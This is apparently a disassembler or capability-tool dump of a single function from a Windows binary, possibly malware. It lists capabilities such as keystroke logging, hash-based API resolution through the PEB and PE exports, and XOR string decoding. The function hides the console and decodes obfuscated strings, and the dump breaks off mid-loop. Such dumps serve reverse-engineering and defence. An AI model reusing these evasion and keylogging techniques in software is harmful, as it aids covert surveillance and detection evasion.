Function at 0x1400133b0
Capabilities:
Access peb ldr_data
Delete file
Encode data using xor
Get kernel32 base address
Get ntdll base address
Get process filename
Hash data using fnv
Log keystrokes via polling
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
movaps xmmword [rax - 0x18], xmm6
xor edi, edi
lea r9d, [rdi + 0x40]
lea r8, str.MARS_SERVICES
lea rdx, str.Mars_Perm
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [str.PXF6]
mov dword [rbp + 0x67], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140013486
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140013486
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov ecx, dword [rdx + r11]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140013481
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140013460
cmp r8d, 0x491e0a9c
je 0x14001348b
test r9d, r9d
jne 0x140013440
mov rax, qword [rax]
jmp 0x140013410
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov esi, dword [0x140024008]
cmp esi, 2
jl 0x140013534
movdqa xmm3, xmmword [0x14001fc00]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001fc80]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001fc80]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14001fc20]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.33333333333333336666666666666666]
movd xmm0, dword [rbp + 0x67]
xorps xmm2, xmm0
movd dword [rbp + 0x67], xmm2
jmp 0x140013575
lea r9, [rbp + 0x67]
mov r8d, edi
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140013540
lea rcx, [rbp + 0x67]
call r11
movsd xmm0, qword [0x14001ef88]
movsd qword [rbp + 0x37], xmm0
mov eax, dword [0x14001ef90]
mov dword [rbp + 0x3f], eax
cmp byte [0x14001ef93], dil
je 0x1400136f5
mov r8d, edi
cmp esi, 2
jl 0x1400136ac
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm2, xmmword [0x14001fc00]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001fc20]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.33333333333333336666666666666666]
movd xmm0, dword [0x14001ef88]
xorps xmm2, xmm0
movd dword [rbp + 0x37], xmm2
movdqa xmm3, xmmword [0x14001fc10]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001fc20]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.33333333333333336666666666666666]
movd xmm0, dword [rbp + 0x3b]
xorps xmm2, xmm0
movd dword [rbp + 0x3b], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x37]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400136c0
movups xmm0, xmmword [str.cFPED]
movups xmmword [rbp - 0x19], xmm0
movsd xmm0, qword [0x14001f1e8]
movsd qword [rbp - 9], xmm0
mov eax, dword [0x14001f1f0]
mov dword [rbp - 1], eax
movzx eax, word [0x14001f1f4]
mov word [rbp + 3], ax
cmp byte [0x14001f1f5], dil
je 0x1400138c5
mov r8d, edi
cmp esi, 2
jl 0x14001387d
movdqa xmm5, xmmword [0x14001fc00]
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm6, xmmword [0x14001fc20]
movdqa xmm0, xmmword [str.33333333333333336666666666666666]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x19]
mov edx, dword [rbp - 0x29]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140013770
cmp r8d, 0x1e
jge 0x1400138c5
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140013890
mov r9d, 0x40
lea r8, [rbp + 0x37]
lea rdx, [rbp - 0x19]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x1400240a0]
cmp byte [0x1400240bf], dil
je 0x140013913
mov rax, rdi
nop
xor byte [rax + rdx], al
inc rax
cmp rax, 0x1e
jb 0x140013900
mov byte [0x1400240bf], dil
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rdi
mov qword [rbp - 1], rdi
mov r8d, 0x1e
lea rcx, [rbp - 0x19]
call fcn.140004e40
nop
mov r8d, 0x70e70
lea rdx, [0x1400240c0]
lea rcx, [rbp - 0x19]
call fcn.14001a250
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140013987
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013982
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013982
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001c74c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.C_Tmkbh
cmp byte [0x1400d5453], 0
je 0x1400139c3
mov rax, rdi
nop word [rax + rax]
xor byte [rax + rdx], al
inc rax
cmp rax, 0x22
jb 0x1400139b0
mov byte [0x1400d5453], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], rdi
mov qword [rbp - 1], rdi
mov r8d, 0x22
lea rcx, [rbp - 0x19]
call fcn.140004e40
nop
mov r8d, 0x7450
lea rdx, [0x1400cdfe0]
lea rcx, [rbp - 0x19]
call fcn.14001a250
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140013a37
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013a32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013a32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001c74c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x14001ef98]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [0x14001efa8]
movups xmmword [rbp - 9], xmm1
movsd xmm0, qword [0x14001efb8]
movsd qword [rbp + 7], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140013af4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140013af4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140013aef
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013ad0
cmp edx, 0x491e0a9c
je 0x140013af9
test r9d, r9d
jne 0x140013ab0
mov rax, qword [rax]
jmp 0x140013a80
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
cmp esi, 2
jl 0x140013c57
movdqa xmm5, xmmword [0x14001fc00]
mov edx, edi
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm6, xmmword [0x14001fc20]
movdqa xmm0, xmmword [str.33333333333333336666666666666666]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x19]
mov r8d, dword [rbp - 0x29]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140013b50
jmp 0x140013c95
lea r9, [rbp - 0x19]
mov r8d, edi
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140013c60
lea rcx, [rbp - 0x19]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140013d24
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140013d24
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140013d1f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013d00
cmp edx, 0x2fa62ca8
je 0x140013d29
test r9d, r9d
jne 0x140013ce0
mov rax, qword [rax]
jmp 0x140013cb0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14001f010]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [0x14001f020]
movups xmmword [rbp - 9], xmm1
movups xmm0, xmmword [0x14001f030]
movups xmmword [rbp + 7], xmm0
mov eax, dword [0x14001f040]
mov dword [rbp + 0x17], eax
movzx eax, byte [0x14001f044]
mov byte [rbp + 0x1b], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140013e04
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140013e04
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140013dff
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140013de0
cmp edx, 0x491e0a9c
je 0x140013e09
test r9d, r9d
jne 0x140013dc0
mov rax, qword [rax]
jmp 0x140013d90
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x140013f6d
movdqa xmm5, xmmword [0x14001fc00]
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm6, xmmword [0x14001fc20]
movdqa xmm0, xmmword [str.33333333333333336666666666666666]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x19]
mov edx, dword [rbp - 0x29]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140013e60
cmp r8d, 0x35
jge 0x140013fb5
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140013f80
lea rcx, [rbp - 0x19]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140014044
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140014044
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001403f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014020
cmp edx, 0x2fa62ca8
je 0x140014049
test r9d, r9d
jne 0x140014000
mov rax, qword [rax]
jmp 0x140013fd0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14001ec40]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [0x14001ec50]
movups xmmword [rbp - 9], xmm1
movups xmm0, xmmword [0x14001ec60]
movups xmmword [rbp + 7], xmm0
movups xmm1, xmmword [0x14001ec70]
movups xmmword [rbp + 0x17], xmm1
mov eax, dword [0x14001ec80]
mov dword [rbp + 0x27], eax
movzx eax, word [0x14001ec84]
mov word [rbp + 0x2b], ax
movzx eax, byte [0x14001ec86]
mov byte [rbp + 0x2d], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140014144
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140014144
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001413f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014120
cmp edx, 0x491e0a9c
je 0x140014149
test r9d, r9d
jne 0x140014100
mov rax, qword [rax]
jmp 0x1400140d0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x1400142ad
movdqa xmm5, xmmword [0x14001fc00]
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm6, xmmword [0x14001fc20]
movdqa xmm0, xmmword [str.33333333333333336666666666666666]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x19]
mov edx, dword [rbp - 0x29]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400141a0
cmp r8d, 0x47
jge 0x1400142f5
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x47
jl 0x1400142c0
lea rcx, [rbp - 0x19]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140014384
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140014384
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001437f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014360
cmp edx, 0x2fa62ca8
je 0x140014389
test r9d, r9d
jne 0x140014340
mov rax, qword [rax]
jmp 0x140014310
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14001f6d8]
movups xmmword [rbp - 0x19], xmm0
movups xmm1, xmmword [0x14001f6e8]
movups xmmword [rbp - 9], xmm1
movups xmm0, xmmword [0x14001f6f8]
movups xmmword [rbp + 7], xmm0
movsd xmm0, qword [0x14001f708]
movsd qword [rbp + 0x17], xmm0
mov eax, dword [0x14001f710]
mov dword [rbp + 0x1f], eax
movzx eax, word [0x14001f714]
mov word [rbp + 0x23], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140014474
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140014474
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001446f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140014450
cmp edx, 0x491e0a9c
je 0x140014479
test r9d, r9d
jne 0x140014430
mov rax, qword [rax]
jmp 0x140014400
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x1400145dd
movdqa xmm5, xmmword [0x14001fc00]
movdqa xmm4, xmmword [0x14001fc80]
movdqa xmm6, xmmword [0x14001fc20]
movdqa xmm0, xmmword [str.33333333333333336666666666666666]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x19]
mov edx, dword [rbp - 0x29]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001fc40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
